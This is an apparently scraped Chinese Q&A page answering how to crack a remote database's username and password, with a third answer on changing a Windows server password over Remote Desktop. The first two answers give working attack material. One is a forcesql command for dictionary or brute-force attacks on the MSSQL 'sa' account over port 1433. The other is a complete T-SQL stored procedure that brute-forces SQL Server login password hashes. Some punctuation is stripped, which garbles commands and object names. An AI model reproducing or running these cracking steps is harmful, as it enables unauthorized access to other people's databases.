高手,如何破解远程数据库的用户名和密码
1、forcesql是一款命令行下专门用于破解MSSQL密码的工具,分为字典破解和穷举两种破解方式
2、破解过程中会连接远程MSSQL服务器的TCP 1433端口,因此破解前应确保远程服务器的TCP 1433开放并且可访问,否则该工具将失效。
3、在命令行下,输入:forceSQLexe 127001 sa -d wordstxt Password
4、其中sa为目标用户名,-d参数用于指定wordstxt文件为密码字典。 若破解成功,将会返回found!
望采纳,谢谢!
具体操作如下:
if exists (select from dbosysobjects where id = object_id(N'[dbo][p_GetPassword]') and OBJECTPROPERTY(id, N'IsProcedure') = 1)
drop procedure [dbo][p_GetPassword]
GO
/--穷举法破解 SQL Server 用户密码
可以破解中文,特殊字符,字符+尾随空格的密码
为了方便显示特殊字符的密码,在显示结果中,显示了组成密码的ASCII,理论上可以破解任意位数的密码,条件是电脑配置足够,时间足够
/--调用示例
exec p_GetPassword
--/
create proc p_GetPassword
@username sysname=null, --用户名,如果不指定,则列出所有用户
@pwdlen int=2 --要破解的密码的位数,默认是2位及以下的
as
set @pwdlen=case when isnull(@pwdlen,0)<1 then 1 else @pwdlen-1 end
select top 255 id=identity(int,0,1) into #t from syscolumns
alter table #t add constraint pk_#t primary key(id)
select name,password
,type=case when xstatus&2048=2048 then 1 else 0 end
,jm=case when password is null then 1 else 0 end
,pwdstr=cast('' as sysname)
,pwd=cast('' as varchar(8000))
into #pwd
from masterdbosysxlogins a
where srvid is null
and name=isnull(@username,name)
declare @s1 varchar(8000),@s2 varchar(8000),@s3 varchar(8000)
declare @l int
select @l=0
,@s1='char(aaid)'
,@s2='cast(aaid as varchar)'
,@s3=',#t aa'
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwdjm=0
and pwdcompare('+@s1+',pwdpassword,pwdtype)=1
')
while exists(select 1 from #pwd where jm=0 and @l<@pwdlen)
begin
select @l=@l+1
,@s1=@s1+'+char('+char(@l/26+97)+char(@l%26+97)+'id)'
,@s2=@s2+'+'',''+cast('+char(@l/26+97)+char(@l%26+97)+'id as varchar)'
,@s3=@s3+',#t '+char(@l/26+97)+char(@l%26+97)
exec('
update pwd set jm=1,pwdstr='+@s1+'
,pwd='+@s2+'
from #pwd pwd'+@s3+'
where pwdjm=0
and pwdcompare('+@s1+',pwdpassword,pwdtype)=1
')
end
select 用户名=name,密码=pwdstr,密码ASCII=pwd
from #pwd
go
首先我想向你说明的问题有3点,然后我再告诉你怎么改。
1远程桌面链接是一个微软开的远程管理工具。他是用于操作者不能在本地操作服务器时提供的一种远程连接方式。好比说你的服务器在广州,你人在北京,但是你需要登录到服务器去更改些设置,那你就可以使用远程桌面连接到服务器的桌面上进行操作了。当然,前提是双方都接入互联网。
2服务器上的系统一般分为几种,比如说是win
2003
win
2008
还是linux?
unix?在搞清楚这些之前,你修改密码时的操作也不一样。
3第1点我已经说了,远程桌面是工具,他不具备密码功能,只负责连接到服务器的桌面上。你需要修改的密码是服务器的密码。
下面我以win
2003为例教你如何修改服务器密码。
首先在客户端,也就是你的个人计算机上。
开始-运行-mstsc
会弹出远程桌面连接的对话框
在计算机处有一个小条,输入ip
地址
我以19216801
为例
如果你们的技术特别说明有端口,就加在后面。例19216801:8000
输入之后会连接到一个新的桌面
输入技术交给你的帐号与密码。
在服务器上点击我的电脑-右键-属性0
到计算机管理上,进入本地用户和组
在用户里找到相应的计算机名,右键修改密码。ok
如果有什么其他问题发消息给我吧
0条评论